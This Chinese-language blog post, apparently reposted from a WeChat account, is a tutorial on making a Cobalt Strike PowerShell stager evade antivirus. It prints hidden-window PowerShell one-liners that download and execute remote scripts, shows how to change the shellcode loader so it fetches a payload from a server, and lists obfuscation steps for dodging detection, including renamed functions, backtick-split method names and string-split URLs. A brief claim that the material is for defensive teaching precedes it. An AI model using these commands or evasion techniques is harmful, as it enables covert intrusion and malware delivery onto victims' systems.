CS免杀-PowerShell上线

  • A+
所属分类:安全文章
CS免杀-PowerShell上线
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


分析PowerShell命令


Powershell无文件上线,使用CS的scripted web delivery生成powershell脚本,挂在服务器上

CS免杀-PowerShell上线

CS会生成一句powershell命令,并将ps脚本挂在CS服务器上

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:80/a'))"


看看访问的http://192.168.1.1:80/a文件有什么

发现是一大串PS命令,它先使用base64解码,之后通过IO.MemoryStream.GzipStream解压缩,得到解码后的PS脚本,并IEX执行该脚本

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("vbxH516NOyTVgUA......."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

CS免杀-PowerShell上线

输出一下解码后的脚本,修改IEX为echo,就可输出源代码了

powershell -ExecutionPolicy bypass -File power.ps1 >> source.ps1

CS免杀-PowerShell上线



分析PowerShell加载器



仔细观察源代码啊,发现这就是CS直接生成的powershell的payload啊。

CS免杀-PowerShell上线

有两个函数fungetprocaddressfunctiongetdelegatetype,然后一个base64解码,并进行xor异或处理得到shellcode,分配内存,复制shellcode到内存,最后执行shellcode


就是一个典型的powershell版本shellcode加载器

CS免杀-PowerShell上线

这里的base64编码的一大串内容,盲猜就是shellcode异或处理又base64编码来的

既然这样就输出一下解码后得到的16进制机器码

echo $var_code >> shellcode.bin

暂时看不太懂机器码。。。


既然是内存加载器,就改一下加载器

不将shellcode写死在ps脚本中,而是将shellcode放在服务器上,远程加载实现分离免杀

CS免杀-PowerShell上线

[Byte[]]$var_code = (New-Object Net.WebClient).downloaddata('http://192.168.1.1/payload.bin')

这里的bin文件用CS或msf生成的都可以,其他代码不改,先尝试一下能上线不。



   测试免杀



能上线后就修改一下ps脚本的其他特征

func_get_delegate_type函数重命名为function func_tttfunc_get_proc_address函数重命名为func_hhhdownloaddata函数改为"down`lo`addata"downloadstring函数改为"download`str`ing"'Invoke'字符串改为为'Inv'+'oke'$var_code变量为$var_dode'http://192.168.1.1/payload.bin'改为'ht'+'tp://192.16'+'8.1.1/pay'+'load.bin'

反正能改的都改改,测试一下最终ps脚本,能上线,然后查杀一下该脚本

CS免杀-PowerShell上线

CS免杀-PowerShell上线


主机上线



使用的话将脚本上传目标主机,或者放在服务器上加载即可

powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('C:test.ps1')"

powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"

最终样本在公众号回复: ps免杀样本

本文始发于微信公众号(XG小刚):CS免杀-PowerShell上线

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: